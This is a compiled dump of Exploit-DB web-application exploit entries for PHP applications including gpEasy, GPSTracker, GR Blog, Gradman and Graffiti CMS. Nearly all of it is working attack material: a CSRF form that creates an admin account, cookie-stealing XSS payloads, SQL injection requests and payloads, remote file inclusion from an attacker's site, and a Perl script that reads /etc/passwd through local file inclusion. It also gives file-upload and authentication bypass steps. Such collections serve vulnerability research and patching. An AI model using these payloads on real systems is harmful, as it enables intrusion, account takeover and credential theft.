deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10537
Description: gpEasy 1.5RC3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-18
Author: cr4wl3r

Exploit:
##################################################################
## Exploit Title: gpEasy <= 1.5RC3 Remote FIle Include Exploit  ##
## Date: 18-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://sourceforge.net/projects/gpeasy/files/ ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################

~ Code [admin_password.php] :

require_once($GLOBALS['rootDir'].'/include/admin/admin_users.php');

~ 3xplo!t :

 [F3Site2009_path]/include/admin/admin_password.php?rootDir=[Shell]
Exploit-DB #12441
Description: gpEasy 1.6.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-04-28
Author: Giuseppe 'giudinvx' D'Inverno

Exploit:
=============================================
gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit
=============================================

Author : Giuseppe 'giudinvx' D'Inverno
Email : <giudinvx[at]gmail[dot]com>
Date : 04-29-2010
Site     : http://www.giudinvx.altervista.org/
Location : Naples, Italy

--------------------------------------------------------
Application Info
Site   : http://www.gpeasy.com/
Version: 1.6.1
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>
<form method="post" action="[patth]/index.php/Admin_Users">
<input type="text" value="xxx" name="username"><br/>
<input type="password" value="xxx" name="password"><br/>
<input type="password" value="xxx" name="password1"><br/>
<input type="text" value="xxx" name="email"><br/>
<input value="Admin_Menu" type="hidden" name="grant[]">
<input value="Admin_Uploaded" type="hidden" name="grant[]">
<input value="Admin_Extra" type="hidden" name="grant[]">
<input value="Admin_Theme" type="hidden" name="grant[]">
<input value="Admin_Users" type="hidden" name="grant[]">
<input value="Admin_Configuration" type="hidden" name="grant[]">
<input value="Admin_Trash" type="hidden" name="grant[]">
<input value="Admin_Uninstall" type="hidden" name="grant[]">
<input value="Admin_Addons" type="hidden" name="grant[]">
<input value="Admin_New" type="hidden" name="grant[]">
<input value="Admin_Theme_Content" type="hidden" name="grant[]">
<input type="hidden" value="newuser" name="cmd">
<input type="submit" value="Continue" name="aaa" class="submit">
</form>
</html>

# Now you have an Admin user with name: xxx and password: xxx, just login
page [path]/index.php/Admin
Exploit-DB #37104
Description: gpEasy 2.3.3 - 'jsoncallback' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-26
Author: Jakub Galczyk

Exploit:
source: https://www.securityfocus.com/bid/53269/info

gpEasy is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

gpEasy 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/Admin_Preferences?gpreq=json&jsoncallback=<h1>test<br>test2<%2fh1>
Exploit-DB #38236
Description: gpEasy CMS - 'section' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-01-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/57522/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

gpEasy CMS 3.5.2 and prior versions are vulnerable. 

http://www.example.com//?cmd=new_section&section=%22%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #34031
Description: gpEasy CMS 1.6.2 - 'editing_files.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40330/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to gpEasy CMS 1.6.3 are vulnerable 

<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value=&#039;save&#039;>
<input type="hidden" name="gpcontent" value=&#039;text"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.myfrm.submit();
</script>
Exploit-DB #19548
Description: gpEasy CMS Minishop 1.5 Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-03
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: gp easy CMS Minishop 1.5 plugin persistent XSS
# Date: july 2 2012
# Exploit Author: Carlos Mario Penahos Hollmann
# Vendor Homepage:http://gpeasy.com/Download
# Software Link: http://gpeasy.com/Special_Addon_Plugins?cmd=download&id=31
# Version: 1.5




The vulnerable code is in the Minishop 1.5 plugin on the Admin_Minishop.php
, after installing it give to any user right to edit the minishop, then
this user can inject arbitrary javascript code when  using add product or
add category(both options can trigger the XSS) in the name field typing
<script>alert('XSS');</script>

As you can see data is not sanitize :)
function AddCategory()
    {
        require('Language.php');
        echo '<b>' . $Mtxt['Add Category'] .'</b><br>';
        $ca = & $_REQUEST['cat'];
        $cat = $this->my_replace($ca, "no");
        $catdes = & $_REQUEST['catdesc'];
        $catdesc= $this->my_replace($catdes, "yes");
        $Category = $this->GetCategories();

        if (empty($cat) )
        {
            echo '<table class="bordered"><br>';
            echo '<th>Category</th><th>Description</th>';
            echo '<form action="Admin_Minishop?cmd=addcat"><br>' ;
            echo '<tr><td><input type="text" name="cat" size="10" value="'
. $cat . '"></td>';
            echo '<td><input type="text" name="catdesc" size="30" value="'
. $catdesc . '"></td></tr>';
            echo '<input type="hidden" name="cmd" value="addcat"><br>';
            echo '</table><br>';
            echo '<input type="submit" value="' . $Mtxt['Add Category'] .
'">';

        }
        else
        {
            $Category[$cat] = $catdesc;//echo 'Debug:' .
var_dump($Category) .':';
            $this->SaveCategories($Category);
        }
    }
Exploit-DB #27866
Description: Gphotos 1.4/1.5 - 'affich.php?image' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-13
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17967/info
  
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
  
http://www.example.com/affich.php?image=[xss]
Exploit-DB #27865
Description: Gphotos 1.4/1.5 - 'diapo.php?rep' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-13
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17967/info
 
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
 
http://www.example.com/diapo.php?rep=[xss]
Exploit-DB #27864
Description: Gphotos 1.4/1.5 - 'index.php?rep' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-13
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17967/info

Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/index.php?rep=[xss]
Exploit-DB #27867
Description: Gphotos 1.4/1.5 - 'index.php?rep' Traversal Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2006-05-13
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17967/info
   
Gphotos is prone to multiple input-validation vulnerabilities. The issues include information-disclosure and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. Other attacks are also possible.
   
http://www.example.com/index.php?rep=../../../
Exploit-DB #45816
Description: GPS Tracking System 2.12 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: GPS Tracking System 2.12 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/gpstracking/
# Software Link: https://kent.dl.sourceforge.net/project/gpstracking/gps.zip
# Version: 2.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/monitoring/login.php
# 
POST /[PATH]/monitoring/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/monitoring/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
username=%27or+1%3D1+or+%27%27%3D%27&[CREDENTIAL_REDACTED]=LOGIN
HTTP/1.1 302 Found
Date: Sat, 10 Nov 2018 11:45:59 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=v7mujh7lua6d21q575eoletdt7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: index.php
Content-Length: 4095
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #44720
Description: GPSTracker 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: GPSTracker v1.0 - Login Page SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.wecodex.com
# https://codecanyon.net/item/gpstracker-gps-trackgin-system/21873663
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.

====================================================

# PoC : SQLi :


http://test.com/fotracking/account/signin

POST /fotracking/account/signin HTTP/1.1
Host: 188.165.129.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.com/fotracking/login
Content-Length: 32
Cookie: PHPSESSID=ikk8m7o6v54836u6a36sr6qko1
Connection: keep-alive
id=democlient&[CREDENTIAL_REDACTED]


Vulnerable Payload :

Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=democlient' AND 8345=8345 AND
'jDLh'='jDLh&[CREDENTIAL_REDACTED]

    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: id=democlient';SELECT SLEEP(5)#&[CREDENTIAL_REDACTED]

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=democlient' AND SLEEP(5) AND 'yGiF'='yGiF&[CREDENTIAL_REDACTED]


====================================================
Exploit-DB #35584
Description: GQ File Manager 0.2.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-12-19
Author: TaurusOmar

Exploit:
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

# Exploit Title: GQ File Manager - Sql Injection - Cross Site Scripting Vulnerability's 
# Date: 19/12/2014
# Url Vendor: http://installatron.com/phpfilemanager
# Vendor Name: GQ File Manager 
# Version: 0.2.5 
# CVE:  CVE-2014-1137
# Author: TaurusOmar	
# Tiwtter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High

Description
GQ File Manager is a lightweight file manager that enables files to be uploaded to and downloaded from a server directory. GQ File Manager is great for creating and maintaining a simple cloud-based repository of files that can be accessed from anywhere on the Internet. 

------------------------
+ CROSS SITE SCRIPTING + 
------------------------
# Exploiting Description - Created new file example:("xss.html")in the document insert code xss

Input:
"><img src=x onerror=;;alert('XSS') />
Output: 
<br />
<b>Warning</b>:  fread() [<a href='function.fread'>function.fread</a>]: Length parameter must be greater than 0 in <b>/home/u138790842/public_html/gp/incl/edit.inc.php</b> on line <b>44</b><br />
"><img src=x onerror=alert("xss");>

#P0c
"><img src=x onerror=;;alert('XSS') />

#Proof Concept
http://i.imgur.com/cjIvR5l.jpg


------------------------
+    Sql Injection     +
------------------------
# Exploiting Description - The Sql Injection in path created a new file. 

#P0c
http://site.com/GQFileManager/index.php?&&output=create&create=[sql]

#Proof Concept
http://i.imgur.com/IJZoDVt.jpg
Exploit-DB #7987
Description: gr blog 1.1.4 - Arbitrary File Upload / Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-04
Author: JosS

Exploit:
GR Blog v1.1.4 (Upload/Bypass) Multiple Remote Vulnerabilities
 
Author: Jose Luis Gongora Fernandez
        (a.k.a) JosS <sys-project[at]hotmail.com>

Web:    http://hack0wn.com/
 
/*************************/
TEST ON VERSION GR Blog v1.1.4, (in my localhost)
Download : http://sirini.net/grboard/board.php?id=grblog&articleNo=43
/*************************/
 
[+] Remote File Upload:
 
 /admin/admin_upload.php (simple bypass)
 upload --> name.php.jpg
 
 PATH example: /data/2009/02/04/name.php.jpg
 
 
 --------------
 files: /admin
 
[+] SIMPLE bypass:
 
 admin_user.php
 admin_post.php
 admin_all.php
 more files...
 
 !xpl: you enter in any files
 
[+] GET bypass:
 
 admin_modify_comment.php
 --
 <?php
 @header('Content-Type: text/html; charset=utf-8');
 if(array_key_exists('uid', $_GET) && $_GET['uid']) $uid = $_GET['uid'];
 else exit();
 --
 !xpl: http://localhost/blog/admin/admin_modify_comment.php?uid=1
 
 more files...
 
[+] POST bypass:
 
 admin_category.php
 --
 <?php
 if(array_key_exists('categoryName', $_POST) && $_POST['categoryName'])
 --
 !xpl: --
 
 admin_insert.php
 --
 <?php
 $e = true;
 if(array_key_exists('postStart', $_POST) && $_POST['postStart'])
 --
 !xpl: --
 
 more files...
 
 __h0__

# milw0rm.com [2009-02-04]
Exploit-DB #34054
Description: GR Board 1.8.6 - 'page.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-30
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/40437/info

GR Board is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.8.6.1; other versions may also be vulnerable.

http://www.example.com/path/page.php?theme=http://attacker's site
Exploit-DB #41717
Description: Gr8 Gallery Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-24
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Gr8 Gallery Script - SQL Injection
# Google Dork: N/A
# Date: 24.03.2017
# Vendor Homepage: http://gr8script.com/
# Software: http://gr8script.com/gr8gallery.php
# Demo: http://www.gr8script.com/gr8gallery/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video-gallery/X[SQL]
# http://localhost/[PATH]/photo-gallery/X[SQL]
# # # # #
Exploit-DB #42662
Description: Gr8 Multiple Search Engine Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Gr8 Multiple Search Engine Script 1.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: http://www.gr8script.com/
# Software Link: http://www.gr8script.com/multiple_search_script.php
# Demo: http://www.gr8script.com/multiple_search/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/X[SQL]/X.html
# 
# Etc..
# # # # #
Exploit-DB #41716
Description: Gr8 Tutorial Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-24
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Gr8 Tutorial Script - SQL Injection
# Google Dork: N/A
# Date: 24.03.2017
# Vendor Homepage: http://gr8script.com/
# Software: http://gr8script.com/gr8_tutorial_script.php
# Demo: http://www.gr8script.com/gr8tutorial/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/users.php?user=[SQL]
# http://localhost/[PATH]/track/54[SQL]
# # # # #
Exploit-DB #4926
Description: Gradman 0.1.3 - 'agregar_info.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-16
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+     Gradman <= 0.1.3  (agregar_info.php?tabla=) Local File Inclusion Exploit       +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Gradman <= 0.1.3
[~] HomePage: http://gradman.xe1ido.com.mx/
[~] Exploit: Local File Inclusion [High]
[~] Where: agregar_info.php?tabla=
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "powered by Gradman"
[~] Dork2: Priv8, xD!


[+] Exploit:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t#    Gradman <= 0.1.3 - Local File Inclusion Exploit   #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/gradman/\n";
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

}


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-01-16]
Exploit-DB #4936
Description: Gradman 0.1.3 - 'info.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-18
Author: Syndr0me

Exploit:
Software: Gradman <= 0.1.3
HomePage: http://gradman.xe1ido.com.mx/
Software: Gradman <= 0.1.3
Exploit:  Local File Inclusion [High]
Dork:    "powered by Gradman"
Bug Found By: Syndr0me! site: www.remoteexecution.es
Where: info.php?tabla=
Greetz: S4nt0!, Yubix, Xarnuz, Chame, Electr0cbax, komtec1, f34r
[+] Exploit:
info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-01-18]
Exploit-DB #9629
Description: Graffiti CMS 1.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-09-10
Author: Alexander Concha

Exploit:
Graffiti CMS includes a file manager component that allows
unauthenticated users to upload files (including asp.net pages which
allow code execution). All versions are affected by this
vulnerability.

To exploit this issue, it only suffices to access to the following URL.

http://DOMAIN_TLD/GRAFFITI_CMS_INSTALL_DIR/__utility/Telligent_Editor/editor/filemanager/browser/default/browser.html?connector=../../connectors/aspx/connector.aspx

# milw0rm.com [2009-09-10]
Exploit-DB #28201
Description: Graffiti Forums 1.0 - 'Topics.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-10
Author: Paisterist

Exploit:
source: https://www.securityfocus.com/bid/18928/info

Graffiti Forums is prone to an SQL-injection vulnerability. 

This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/topics.php?f=-1 union all select version()--
http://www.example.com/topics.php?f=-1 union ll select database()--
http://www.example.com/topics.php?f=-1 union all select user()--